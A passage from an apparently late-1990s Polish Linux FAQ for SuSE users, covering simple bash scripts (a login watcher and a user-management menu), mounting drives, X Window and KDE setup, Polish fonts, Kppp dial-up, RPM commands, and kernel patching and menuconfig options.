do sleep 60
done
echo "$1 jest juz zalogowany do systemu"

Ten prosta petla bedzie pokazywala nam czy ktos jest zalogowany w systemie.
Nalezy przy uruchamianiu skryptu podac agrument czyli w tym przypadku nazwe
osoby, dobrze by bylo wkleic program w tlo (znak: &). Wtedy jezeli dana osoba
nie bedzie zalogowana czyli `who | grep $1 | wc -l` bedzie rowne (-eq) 0 to
petla bedzie wykonywana czyli wykonane zostanie polecenie sleep 60. Program
zasnie na 60 sek, po czym petla znowu bedzie wykonywana az bedzie wieksza niz 0.
Wtedy pojawi sie komunikat ze osoba jest juz zalogowana.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c5    Robimy pierwszy przydatny skrypt

Pora podsumowac wszystkie wiadomosci i wykozystac je w stworzeniu jakiegos w
miare przydatnego skryptu. Skrypt ten to prosty User Manager:-) Twoim zadaniem
domowym jest analiza tego kodu.

#!/bin/bash
#Mega User Adder;-)
#Te skrypt pomaga w dodawaniu uzytkownikow
clear
echo "Menedzer uzytkownikow v.1.1"
echo ""
echo "1.Zakladanie uzytkownika"
echo "2.Kasowanie uzytkownika"
echo "3.Wyjscie"
echo ""
echo -n "Polecenie: "
read text1
if test $text1 = 1
then
echo -n "Podaj nazwe uzytkownika: "
read user
echo -n "Podaj UID: "
read uid
echo -n "Podaj GID: "
read gid
echo -n "Katalog domowy uzytkownika $user: "
read direc
echo -n "Powloka dla uzytkownika $user: "
read shell
useradd $user -u $uid -g $gid -s $shell -d $direc
echo "Dodaje nowego uzytkownika..."
mkdir $direc
chown ${user}.${gid} $direc
echo "" > ${direc}/.history
echo "" > ${direc}/.bash_history
chown ${user}.root ${direc}/.history
chown ${user}.root ${direc}/.bash_history
echo "Ustaw haslo dla uzytkownika: $user"

passwd $user
echo "Gotowe... Nacisnij cos"
read nic
fi
if test $text1 = 2
then
echo -n "Podaj nazwe uzytkownika do skasowania: "
read us
userdel -r $us
echo "Uzytkownik $us usuniety"
clear
fi
if test $text1 = 3
then
echo "Nara"
fi

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3c6    Inne jezyki skryptowe

Istnieja takze inne jezyki skryptowe. Bardzo popularnym jest Perl (Practical
Extraction Report Language). Cieszy sie on wielka popularnoscia wsrod
administratorow systemow jako jezyk do pisania skryptow.  Innym znanym jezykiem
skryptowym jest Tcl/Tk, Tk daje mozliwosc wyposazenia skryptow w graficzny
interface! W dodatku tworzenie wizualne w tym jezyku jest bardzo proste. W tym
FAQ zajelismy sie jedynie tworzeniem skryptow w Bashu w dodatku dosyc pobieznie
ale w nastepnych wersjach tego dokumentu moze pojawia sie dzialy poswiecone
Tcl/Tk lub Perl'owi.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.3d    Mountowanie dyskow, CDROMow, FDD

To proste ale napisze bo wiem, ze przydaje sie poczatkujacym. W katalogu /mnt
jest miejsca na zamountowanie danego urzadzenia, w Linuxie SuSe 5.3 CDROM
domyslnie mountowany jest w katalogu /cdrom. Informacje o zamountowanych
urzadzeniach otrzymamy po napisaniu komendy mount, mozna takze sprawdzic co jest
zamountowane na stale piszemy cat /etc/fstab teraz komputer wyswietli nam na
ekranie informacje o zamountowanych urzadzeniach mn.in.
1.Plik sterujacy urzadzeniem ktory zawsze znajduje sie w katalogu /dev
2.Katalog w ktorym zamountowane jest urzadzenie
3.Rodzaj urzadzadzenia np. msdos informuje nas ze dysk jest w systemie
dosowskim, vfat ze w widowsowskim, etx2 linux, iso9660 u mnie CDROM.
4.W tej kolumnie sa parametry, nastepne kolumny sa akurat teraz mniej
wazne.

Aby wiec na stale zamountowac jakis dysk musimy edytowac fstab.
Ale gdy chcemy tylko tymczasowo to:

1.Dla partycji np. hdc2 dzialajacej pod widnowsem piszemy:
mount -t vfat /dev/hdc2 /mnt/hdc2 - wczesniej tworzac katalog hdc2

2.Dla partycji dosowskiej np. hdc1:
mount -t msdos /dev/hdc1 /mnt/hdc1

3.Dla stacji dyskow (tylko gdy w stacji jest dyskietka) piszemy:
mount -t ext2 /dev/fd0h1440 /mnt/fd - dla dyskow 3.5" 1.44MB w systmie
Linuxowym.

4.Dla CDROMu ktory moze znajdowac sie jako hdb:
mount -t iso9660 /dev/hdb /mnt/cdrom

To juz wszystko o mountowaniu, gdy bedziesz chcial wymountowac jakies
urzadzenie np. FDD.

umount /mnt/fd - dla wczesniej zamountowanej stacji dystkietek

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4    X'y i KDE
  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4a    Ogolnie o X'ach.

Na pewno zdajesz sobie sprawe z tego jak wygodny jest graficzny interface
urzytkownika (Graphical User Interface), na dluzsza mete praca w textowym
Linuxie czy jakim kolwiek innym systemie jest nurzaca, GUI daje ci mozliwosc
pracy z okienkami z innymi obiektami graficznymi dzieki ktorym uzytkownik moze
sie komunikowac z aplikacji wskazujac mysza, klikajac. Wiele rzeczy mozna
wykonac szybciej wlasnie dzieki graficznemu interface'owi, otworzy sie takze
przed toba droga do programowania wizualnego. W naszym Linuxie SuSE systemem GUI
jest KDE i X. Natomiast na innych systemach Unixowych moze byc to rownie dobrze
np. Motif. W Linuxie dostepnych jest dodatkowo wiele menedzerow okien tj.
Afterstep, Fvwm, Fvwm2, Fvwm95, olwm, Window Maker, Enlightenment, mwm. W tym
rozdziale opisze krotko system X oraz jego instalacje. System X Window dla
Linuxa pochodzi z projektu XFree86 (The XFree86 Project) jest on za friko taka
byla tez idea.
Sercem systemu X Window jest X-Server program dzialajacy na komputerze
wyposazonym w wyswietlacz rastrowy. X-clients to aplikacje, ktore wyswietlaja
dane wyjsciowe. Komunikowanie sie miedzy X-clientem i X-serverem odbywa sie
wedlug X protocol. X-server odpowiada na polecenia wysylane przez programy
X-clienta, ktory moze np. otwiera okna. Jest to typowy model klient-serwer.
X-serwer musi wiec wyswietlic na monitorze dane wyjsciowe aby to zrobic musi
miec dostep do karty graficznej i mozliwosc korzystania z niej. Niestety
istnieje wielka roznorodnosc kart graficznych tak wiec trudno stworzyc jeden
X-server ktory by ze wszystkimi wspolpracowal. Serwery X sa wiec ciagle
udoskonalane o mozliwosc obslugi nowych karty graficznych.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4b    Konfiguracja, SaX

Glownym plikiem konfiguracyjnym systemu XFree86 jest XF86Config znajdujacy sie w
katalogu /etc. W dystrybucji Linuxa SuSE jest on konfigurowany dzieki SaX. Ten
program to wielka zaleta Linuxa SuSe jego pelna nazwa to SuSe advanced
X-configuration. Sluzy on do graficznej administracji i konfiguracji X-Window.
Dzieki niemu konfiguracja karty graficznej, myszy, monitora jest znacznie
prostsza niz kiedys. Wszystkie dane sa automatycznie zbierane po skanowaniu PCI.
Aby uruchomic SaX piszemy po prostu SaX i gotowe. Po chwili program zescanuje
dane z szyny PCI i wczyta rodzaje obslugiwanych kart. Na poczatku dokladnie
zkonfiguruj myszke tak aby dzialaly wszysktie przyciski jesli masz myszke
dwuprzyciskowa wlaczy emulacje trzeciego przycisku (efekt bedzie uzyskiwany po
wcisnieciu lewego i prawego na raz). Dalej ustawiamy rodzaj monitora, chociaz
czasem nie trzeba nie trzeba. Nastepnie karta graficzna tutaj czasem trzeba sie
troche pomeczyc, szczegolnie gdy ktos ma starsza karte graficzna. Na samym koncu
ustawiamy rozdzielczosc ekranu gdy mamy 15" monitor lepiej nie przekraczac
800x600. Gdy mamy 17" calowy monitor mozemy smialo nastawic na 1024x768 lub
wiecej bez obawy o wzrok. Gdy wszystko ustawimy nacisnij Next bedzie proba
ustawien, jesli wszystko pojdzie dobrze zobaczysz ladny ostry obraz gdzie
bedziesz mogl zapisac ustawienia i wyjsc z SaX albo gdy nie bedzie Ci cos
odpowiadac wrocic do SaX i jeszcze raz skonfigurowac.
W innych dystrybucjach skonfigurowac X jest troche trudniej np. w Red Hat sluzy
do tego program x86config (chociaz w SuSE tez mozna nim konfigurowac). Program
ten zwraca sie o podanie odpowiednich danych o sprzecie niestety sam nie
zeskanuje szyny PCI.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4c    Uruchamianie X.

Po skonfigurowaniu pliku XF86Config jestes gotowy uruchomic X-Server. Uruchom
skrypt startx znajduje sie on w katalogu /usr/X11/bin jednak na pewno jest on
zaPATHowany. Wiec wystarczy wpisac samo startx. Skrypt startx uruchamia inny
plik skryptu .xinirc w twoim katalogu domowym (domyslny plik xinirc jest w
katalogu /usr/X11R6/lib/X11/xinit/xinitrc. Za chwile twoim oczom ukaze sie ekran
X Window w SuSE jest to menedzer Fvwm2. Czasami moga zdarzyc sie jakies problemy
moze nie ukazac sie nic poza szarym obrazem lub jakims znieksztalconym. Wtedy
musisz jeszcze raz skonfigurowac XF86Config mozliwe ze np. dales nieobslugiwana
przez twoja karte graficzna rozdzielczosc lub czestotliwosc odswierzania
monitora. Aby zamknac X Window nacisnij Alt+Ctrl+Backspace.
Jesli masz KDE mozesz uruchomic go dwiema metodami wpisujac xdm lub startx i
dopiero z menedzera fvwm do KDE.
W nowej wersji SuSE mozna wybierac menedzera w programie instalacyjnym YaST.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4d    KDE.

KDE (K Desktop Environment) to takze menedzer okienek wzorowany na X Window.
Jest on ostatnio bardzo popularny. Niestety zjada dosyc duzo pamieci, jest to
cena za jego wszystkie bajery, bez 32MB RAM nie ma sensu go nawet uruchamiac.
KDE jest bardzo latwy w obsludze wiele rzeczy ustawia sie analogicznie jak w
Windowsie. KDE jest najestetyczniejszy z posrod menedzerow. Ostatnio stworzono
pod niego wiele ciekawych programow np. KICQ odpowiednik ICQ. KDE mozemy
skonfigurowac tak, aby wszystkie komunikaty, menu byly po Polsku. Kliknij na
ikonke K nastepnie Settings->Desktop->Language. Jesli ukazaly ci sie krzaczki
zamiast polskich liter nie mart sie w nastepnym podpodpunkcie opisalem jak
ustawic poslkie czcionki.
Dodam jeszcze ze mozna sie takze logowac do systemu w trybie graficznym np. w
KDE, aby to ustawic uruchom Yast nastepnie System Administration -> Login
configuration. Tam wybierz logowanie graficzne.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4e    Polskie czcionki.

Z pewnoscia kazdy chcialby miec zamiast krzaczkow polskie czcionki. W trybie
textowym czcionki wybiera sie latwo. Uruchom system jako root wywolaj YaST ->
System Administration -> Set console font. Teraz wybieramy z posrod wielu
czcionek musimy wybrac taka ktorej nazwa zaczyna sie na "iso02", ten font
ustwiamy "As standrart font". Niestety polskie fonty zawarte w SuSE moga zepsuc
wyglad ramek itp... mozna tez sciagnac polskie popularne czcionki o nazwach:
iso02grm.psf i iso02grf.psf. Teraz oba kopiujemy do katalogu w ktorym znajduja
sie czcionki czyli /usr/lib/kbd/consolefont i nadajemy im prawa dostepu: chmod
a+r /usr/lib/kbd/consolefont/*.psf. Jesli chodzi o klawiature to sprawa takze
jest prosta uruchom YaST->Adjusment of installation->Select keymap tam
wskazujemy uklad klawiatury pl. Oprocz tego nalezy jeszcze wprowadzic mala
zmiane w pliku /etc/rc.d/boot.setup musisz uniewaznic linijke
/usr/bin/loadunimap wstawiajac przed znak # czyli # /usr/bin/loadunimap.
W SuSE 6.0 i wyzszych. Nie mozna wybrac jezyk polski od razu przy instalacji.
Wiec nie trzeba meczyc sie ze sciaganiem czcionek.
W trybie graficznym w KDE 1.1 takze mozna wprowadzic polskie czcionki w tym celu
nalezy skonfigurowac znany nam juz plik /etc/XF86Config. Nalezy teraz poprawic
wiersze w ktorych znajduje sie na koncu sciezki 75dpi. Jest to bodajze w
wierszach 22-25. W kazdym razie wiersze te maja wygladac tak:
FontPath "/usr/X11R6/lib/X11/fonts/latin2/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/latin2/75dpi"
Mozemy takze skonfigurowac X-terminal tak zeby pisal polskie czcionki. Aby to
zrobic musismy znowu edytowac plik tym razem /etc/skel/.Xdefaults. Nalezy
zmienic wiersz 47 ma on wygladac tak:
xterm*font:-adobe-courier-bold-r-normal-14-140-75-75-m-90-iso8859-2
Przydaloby sie jeszcze abysmy mogli pisac poslkie litery. To juz niestety nie
jest takie latwe trzeba sciagnac plik zawierajacy uklad polskiej klawiatury.
Plik znajduje sie tu: ftp.ispid.com.pl/pub/Linux i nosi nazwe Xmodmap.pl. Zastap
nim plik /etc/skel/.Xmodmap tylko ze najpierw zmien nazwe Xmodmap.pl na
.Xmodmap. Dodaj prawa dostepu do pliku: chmod a+r /etc/skel/.Xmodmap.
Inna metoda mapowania polskiej klawiatury jest wykorzystanie innego pliku
xplkbset dokladny opis instalacji znajduje sie na stronie
linux.core.pl/fonty.html z tamtad mozna tez sciagnac skrypt. W kazdym razie
xplkbset trzeba umiescic w katalogu /usr/bin i przy wlaczyc do startu X'ska lub
KDE, wpisujac linijke do pliku xinitrc.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.4f    PPP dla KDE.

Upewnij sie czy zainstalowales PPP (Point-to-Point Protoloc) uruchamiajac YaST
jesli nie to doinstaluj koniecznie bez tego nie pobawisz sie w internecie.
Nastepnie w KDE uruchamiasz Kppp poprzez Menu->Internet->Kppp. Wlaczasz setup i
w pierwszej zakladce Accounts robisz nowe konto np. TPSA. Wtedy wlaczy sie nowe
okno konfiguracyjne.
Napierw ustawimy "Dial":
Connection Name: TPSA
Phone Number: 0202122
Authentication: Terminal-based
Reszte zostawiamy. W zakladce "IP" musimy nastawic na Dynamic IP adres. Dalej w
"DNS" wpisujemy adresy DNS'ow BARDZO WAZNE!
194.204.159.1
194.204.152.34
I jeszcze w zakladce "Login script" edytujemy 'GoNzo Script':-):
Except Password
Except sername
Send ppp
Except assword
Send ppp
Pause 2
Dobrze konfigurowanie konta zakonczone teraz przechodzimy do zakladki "Device",
jesli modem byl juz wczesniej wykryty nie ma problemu, sprawdzamy pod ktorym
portem jest modem jesli mamy go pod com4 w Windows to tutaj nastawiamy na
/dev/cua3 jesli pod com2 /dev/cua1. Nizej jest "Flow control" ustawiamy
sterowanie przeplywem albo hardwarowo albo softwarowo u mnie akurat to wszysko
jedno. "Line termination" CR/LF. "Connection speed" bez obaw ustaw na 11500. W
dalszej zakladce "Modem" mozemy dowiedziec sie jakiego rodzaju mamy modem. W
zakladce "PPP" jest kilka opcji sam ustawisz sobie. Wciskamy OK. A potem juz
Connect i po chwili jesli nie bedzie linia zajeta co teraz czesto sie zdarza
(uklony w strone TPSA) bedziemy w internecie.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.5    RPM

RPM jest to menedzer pakietow, czyli system pakowania plikow w jeden duzy
skompresowany. Linux SuSE lub Red Hat jest rozpowszechniany w postaci duzej
ilosci takich pakietow. Instalacja takich pakietow jest bardzo latwa sprawa.
Podczas instalacji SuSE pakiety rpm byly automatycznie rozpakowywane przez
program isntalacyjny YaST. Pakiety RPM maja rozszerzenie *.rpm. Wazne sa takze
nazwy plikow skladaja sie one z kilku czlonow, najpierw podana jest nazwa
pakietu, potem numer wersji nastepnie numer nadania oraz na koncu architektura
informaujaca czy pakiet jest przeznaczony dla procesorow z i386.
RPM posiada wiele opcji jesli jakas zapomnisz wpisz rpm --help, a uzyskasz spis
komend. Teraz podam spis wazniejszych komend:
Informacje o danym pakiecie:
rpm -q - podaje wersje zainstalowanego pakietu
rpm -qa - otrzymasz pelna liste zainstalowanych pakietow
rpm -qa | grep keyword - gdy chcesz zlokalizowac odpowiednie pakiety
rpm -ql - otrzymasz liste plikow z danego pakietu
rpm -qc - pokazuje wszystkie pliki konfiguracyjne zawarte w pakiecie
rpm -qd - pokazuje pliki z dokumentacja
rpm -qi - dokladne info o pakiecie
rpm -qs - pokazuje stan pakietow
Instalowanie pakietu:
rpm -i nazwa_pakietu - zwykla instalacja pakietu
rpm -i --force nazwa_pakietu - metoda brutalna gdy pakiet nie chce sie
zaisntalowac, gdy pojawiaja sie bledy
Usuwanie pakietu:
rpm -e nazwa_pakietu - usuwa pakiet
Updatowanie pakietu:
rpm -U nazwa_pakietu - uaktualnianie pakietu
Weryfikacja pakietu:
rpm -V nazwa_pakietu - weryfikuje pakiet jezeli podejrzewasz, ze jest zle
zainstalowany. Jezeli nic sie nie pokaze to znaczy ze wszystko zostanie
zweryfikowane poprawnie. W przeciwnym wypadku zostanie wyswietlona lista plikow,
ktore zmienily wlasciwosci.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.6a    Kernel i aktualizacja Linuxa

Co jakis czas wychodza nowe wersje kernela. Wersje kernela sa odpowiednio
numerowane. Jesli juz jestesmy przy wersjach jadra to powiem, ze oznacza sie je
wedlug wzoru 2.x.y jesli x jest liczba nieparzysta oznacza to ze jest to wersja
beta i moze byc niestabilny system, gdy x parzysty to oznacza ze wersja jest
stabilna. Linux SuSE 5.3 ma wersje kernela 2.0.35, Linux SuSE 6.0 posiada juz
nowa wersje jadra 2.0.36. Nowe wersje jadra maja poprawki, nowe zestawy
sterownikow, poprawione sa niektore bugi itp... Przydalo by sie wiec co jakis
czas aktualizowac Linuxa. Na poczatku sprawdzmy jaki mamy numer kernela
polecenie uname -r. Zalozmy teraz ze mamy jadro w wersji 2.0.35 i chcemy
uaktualnic na 2.0.36. Sa w sumie dwa rozwiazania.
1. Jezeli mamy CD-ROM z najnowszym Linuxem to mozemy po prostu zainstalowac jako
pakiet RPM o ktorym juz bylo. Musimy wydac odpowiednia komende:
rpm -ivh kernel-source*
Teraz zaisntalowane zostana pliki zrodlowe. Gdy RPM zakonczy instalacje pliki
zrodel znajda sie w katalogu /usr/src/linux.
2. Gdy nie masz zadnego CD z plikami zrodlowymi i RPM'ami to jezeli chcesz
aktualizowac Linuxa musisz sciagnac pliki z jakiegos serwera najlepiej z SunSite
http://sunsite.icm.edu.pl/pub/linux tam znajdziesz patche i nowe wersje kerneli
(nazwy jader to zazwyczaj linux-2.0.35.tar.gz, patchow patch-2.0.36.gz).
Zalozylismy ze posiadamy kernel 2.0.35 chcemy uaktualnic do 2.0.36 nie musimy
sciagac calego jadra wystarczy jedynie patch (czyli latka), ktora uaktualnia
nasz kernel do nowej wersji. Gdy sciagnelismy juz latke przeniesmy ja do
katalogu /usr/src i tam tez ja rozpakujmy (polecenie gunzip patch-2.0.36.gz).
Teraz musimy wlaczyc latke do jadra. W tym celu uzyjemy polecenia:
patch -p0 <patch-2.0.36> bledy
Przy okazji tworzymy plik bledy w do ktorego zostana przekazane wszystkie
komunikaty z instalacji latki. Jesli juz uaktualniles twoj kernel musisz go
skonfigurowac i skompilowac o czym w nastepnym punkcie.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  6.6b    Kompilacja kernela

Kompilacja jadra oznacza przebudowanie pliku binarnego, ktory zawiera rdzen
systemu operacyjnego jakim jest Linux. Kernel czyli jadro jest uruchamiane przy
starcie Linuxa. Kazdy powinien skompilowac odpowiednio jadro dla swoich potrzeb.
Co jakis czas mozna tez a raczej powinno sie postarac o nowe jadro, poniewaz
powstaja coraz nowsze wersje jader z wieksza iloscia obslugiwanego sprzetu i z
poprawionymi bugami itp... W trakcie pisania tego textu najnowsze jajo mialo
numer 2.0.36. Zanim jednak skompilujesz swoje jadro przygotuj awaryjna dyskietke
startowa. Bo jesli cos nawali i system nie uruchomi sie mozna uruchomic Linuxa z
dyskietki i naprawic bledy. Proces przebudowy jadra polega na:
-skonfigurowaniu jadra
-zbudowaniu jadra
-utworzenie modulow
-instalacji jadra
Musisz jeszcze wiedziec ze sterowniki obslugujace rozne urzadzenia mozna
wbudowac w jadro (zwiekszy to wymiary jadra) lub mozesz stosowac moduly. Modul
to fragment kodu ktory jadro uruchamia po starcie systemu. Podczas
konfigurowania jadra musisz wybrac sposob obslugi okreslonych  urzadzen. Zwykle
masz do wybodu:
-y - wbudowanie w jadro
-n - w celu pominiecia
-m - wykorzystanie modulu

Ok wstep mamy za soba mozemy zabrac sie za konfiguracje naszego kernela. Zaloguj
sie wiec jako root i wejdz do katalogu /usr/src/linux. Teraz wybierz rodzaj
konfiguracji, moj Linux SuSE udostepnia trzy rodzaje konfiguracji:
-po wpisaniu make config, system bedzie sie pytal po kolei o kazda opcje (troche
niewygodne).
-po wpisaniu make menuconfig, ukaze nam sie tryb texowy (polecam).
-po wpisaniu make xconfig, bedziemy mogli konfigurowac jajo w trybie graficznym
ale na twoim kompie musza dzialac X'y. Tak wiec wybierz pasujacy ci interface. W
sumie wszystko jedno ktory wybierzesz i tak bedziesz musial odpowiedziec na te
same pytania. Ja opisalem proces konfiguracji wykonany poleceniem make
menuconfig bo latwo wyjasnic teraz co do czego sluzy. Podzielilem wszystko na
dzialy tak jak jest w konfiguracji graficznej, niektore malo znaczace opcje
pominalem.
Zaczynamy:
make menuconfig
1. Code maturity level options
"Prompt for development and/or incomplete code/drivers"
Lepiej odpowiedz n. Przy okazji chce dodac, ze jesli Y lub X jest duza litera sa
to odpowiedzi domyslne i wystarczy wtedy potwierdzic Enterem. Mozesz takze
dostac wiecej faktow wpisujac ?.
2. Loadable modules support
"Enable loadable module support "
Odpowiedz tak jesli chcesz miec ladowalne moduly.
"Set version information on all symbols for modules"
To pytanie mowi o dolaczeniu informacji o wersji do kazdego modulu
"Kernel deamon support"
Bezpieczenie odpowiedziec na wszystko tak.
3. General setup
"Kernel math emulation"
Mozliwe ze masz stary komputer 486SX lub jakies 386 ktory nie ma komprocesora
wtedy odpowiedz Yes w przeciwnym wypadku No.
"Networking support"
Na to musisz odpowiedziec Yes bo czym byl by bez tego twoj Linux?
"Limit memory to low 16MB"
Jesli masz stary zlom ktory nie potrafi obsluzyc wiecej niz 16 MB say Yes.
W przypadku nowych komputerow odpowiedz No.
"PCI bios support"
Powiedz y jesli twoj komputer ma magistrale PCI.
"System V IPC"
Powienines odpowiedziec tak.
"Kernel support for a.out binaries"
"Kernel support for ELF binaries"
"Compile kernel ad ELF - if your"
"Procesor type (386,486,Pentium,PPro)"
Pierwsze pytanie: Odpowiedz Yes aby uruchomic starsze programy.
Drugie pytanie: ELF to nowy standart plikow wykonywalnych. Wybierz Yes.
Trzecie pytanie: Jadro tez moze byc skompilowane w ELFie wiec wybierz Yes.
Czwarte pytanie: Tutaj podaj typ swojego procesora.
4. Floppy, IDE, and other block devices
"Normal floppy disk support"
Jesli masz stacje dyskietek odpowiedz yes.
"Enchanced IDE/MFM/RLL disk/cdrom/tape/floppy support"
Odpowiedz y jesli masz wiecej niz jeden dysk IDE (Integrated Drive Electronics).
"Use old disk-only driver on primary interface"
Powinienes odpowiedziec No. Pytanie to odnosi sie do starego sterownika IDE
ktory obsluguje tylko dyski.
"Include IDE/ATAPI CDROM support"
Jesli masz naped CDROM z interfacem IDE odpowiedz Yes.
"Incluce IDE/ATAPI Tape support"
Jesli masz naped tasmowy odpowiedz yes. W przeciwnym wypadku nie.
"Include IDE/ATAPI Floppy support (new)"
Odpowiedz yes jesli masz naped dyskietek Zip.
"SCSI emulation support"
Ta opcja pozwala na uzywanie strownika SCSI do dostepu do urzadzen podlaczonych
do interface'u IDE. Opowiedz raczej No.
"Support removable IDE interfaces (PCMIA)"
Dzieki tej opcji mozesz wlaczyc obsluge interface'ow IDE wbudowanych na kartach
PCMIA. Odpowiedz No.
"CMD640 chipset bugfix/support"
"RZ1000 chipset bugfix/support"
Te opcje sluza do rozwiazania kilku problemow. Odpowiedz Yes w obu przypadkach.
"Intel 82371 PIIX (Triton I/II) DMA Support"
Tutaj odpowiedz Yes. Bedziesz mogl wykorzystac interface na ukladach Triton.
"Other IDE chipset support"
Jesli obslugujesz wiecej niz dwa urzadzenia IDE odpowiedz Yes.
"Loopback device suppot"
Odpowiedz yes jesli chcesz wlaczyc obsluge petli zwrotnej.
"Multiple devices driver support"
Mozliwe ze chce laczyc partycje wszystkich dyskow w jedno urzadzenie.
Bezpieczniej odpowiedziec No.
"RAM disk support"
Dzieki temu mozesz uzywac czesci systemu jako dysku. Najbezpieczniej
zainstalowac jako modul.
"XT harddisk support"
Tu z pewnoscia odpowiedz n chyba ze masz stary komputer ze starym kontrolerem
dysku.
6. Network options
"Network firewalls"
Jezeli chcesz uzywac Linuxa jako firewalla odpowiedz Yes.
"Nerwork aliasing"
Aliasing sluzy do przypisania wielu IP karcie sieciowej.
"TCP/IP Networking"
Jezeli korzystasz z protokolu TCP/IP odpowiedz yes.
"IP: forwarding/gatewaying"
Uaktywania przekazywanie IP miedzy dwoma sieciami.
"IP: multicasting"
Jesli chcesz uzywac Linxua jako rutera odpowiedz yes.
"IP: syn cookies"
Odpiedz yes jesli chcesz, aby Linux byl odporny na atak SYN Flooding.
"IP: accounting"
Odpowiedz yes tylko jesli chcesz uzywac Linuxa jako rutera.
"IP: optimize as router not host"
Tylko przy ruterze.
"IP: tunneling"
Jest to tunelowanie IP. Mozesz spokojnie odpowiedz no.
Nastepnie jest zestaw pytan ktore mozna opuscic sa one wybrane domyslnie. Ze
wzgledu na miejsce zostawie je w spokoju.
7. SCSI support
"SCSI support"
Jezeli masz kontrolery SCSI odpowiedz yes. Jednak na razie niewielu ludzi je ma,
w tym takze ja wiec opuszczam ten punkt.
8. Network device support
"Network device support"
Oczywiscie powinienes odpowiedziec yes.
"Dummy net driver support"
Odpowiedz yes jesli planujesz korzystac z PPP lub SLIP.
"EQL (serial line load balancing) support"
Jezeli masz dwie linie telefoniczne i dwa modemy to odpowiedz yes. Natezenie
ruchu bedzie balansowane i wykorzystane zostana dwie linie jako jedna wydajna.
"PLIP (parallel port) support"
Odpowiedz yes jesli chcesz skorzystac z Paraller Port Internet Protocol.
"PPP (point-to-point) support"
Tutaj odpowiedz yes, bedziesz mol laczyc sie za pomoca PPP z providerem.
"SLIP (serial line) support"
Mozesz odpowiedziec no. Teraz wszyscy wykorzystuja PPP do laczenia z netem.
"Radio network interface"
Gdy masz interface sieciowy radia to odpowiedz yes.
"Ethernet (10 or 100Mbit)"
Jesli masz karte Ethernet odpowiedz yes. Nastepnie bedziesz musial wybrac swoj
typ karty Ethernet.
9. ISDN subsystem
"ISDN support"
Jezeli masz dostep do uslugi "Integrated Services Digital Network" odpowiedz
yes.
10. CD-ROM drivers
"Support non-SCSI/IDE/ATAPI CDROM drivers"
Jezeli masz jaks dzwiny naped CD-ROM nie SCSI/IDE/ATAPI odpowiedz yes. W
przeciwnym wypadku no.
11. Filesystems
"Quota support"
Dzieki tej opcji bedziesz mogl przeznaczac miejsce na dysku dla danych
urzytkownikow. Odpowiedz yes, moze sie przydac.
"Minix fs support"
Najlepiej zainstaluj jako modul. Minix to najstarszy system plikow Linuxa.
"Extended fs support"
Spokojnie mozesz odpowiedziec no. Ext to dawny system plikow.
"Second extended fs support"
Tu odpowiedz oczywiscie yes.
"xiafs filesystem support"
Wylacz ta opcje odpowiadajac no. Obsluga systemu plikow XIA jest niepotrzebna.
"DOS FAQ fs support"
Obsluga systemu plikow MS-DOS. Nie zaszkodzi odpowiedziec yes.
"VFAT (Windows-95) fs support"
Obsluga systemu plikow VFAT czyli Widnwosa. Odpowiedz yes na pewno sie przyda.
"umsdos: Unix like fs on top of std MSDOS FAT fs"
Obsluga systemu plikow UMSDOS. Mozesz odpowiedziec no.
"/proc filesystem support"
Odpowiedz yes. Uaktywniona zostanie obsluga wirtualnego systemu plikow /proc.
"NFS filesystem support"
Jesli odpowiesz yes bedziesz mogl dostac sie do katalogow Network File System.
"Root filesystem on NFS"
Calkowita wiekszosc odpowiada tu no.
"SMB filesystem support"
Odpowiedz yes jezeli chce miec dostep do katalogow w systemach Windows.
"SMB Win95 bug work-around"
Odpowiedz yes, a naprawisz niektore bugi w obsludze katalogow Win.
"ISO9660 cdrom filesystem support"
Oczywyscie wybierz yes. Chyba chcesz miec obsluge systemu plikow CD-ROMu.
"OS/2 HPFS filesystem support"
Jesli chcesz miec obsluge systemu plikow OS/2 odpowiedz tak.
"System V and Coherent filesystem support"
Odpowiedz no chyba ze chcesz wlaczyc obsluge systemu plikow "System V".
"UFS filesystem support"
Obsluga systemu plikow uzywanego przez Unixa BSD.
12. Character devices
"Standard/generic serial support"
Oczywiscie odpowiedz yes, opcja jest potrzebna przy korzystaniu z portow
szegerowych.
"Parallel printer support"
Jesli masz drukarke odpowiedz yes.
"Mouse support (not serial mice)"
Odpowiedz no, chyba ze masz mysz nieszeregowa typu PS/2. Nastepnie musisz wybrac
rodzaj twojej myszy nieszeregowej.
"Support for user misc device modules"
To jest obsluga specjalistycznych urzadzen, odpowiedz no.
"Advanced Power Menagement BIOS support"
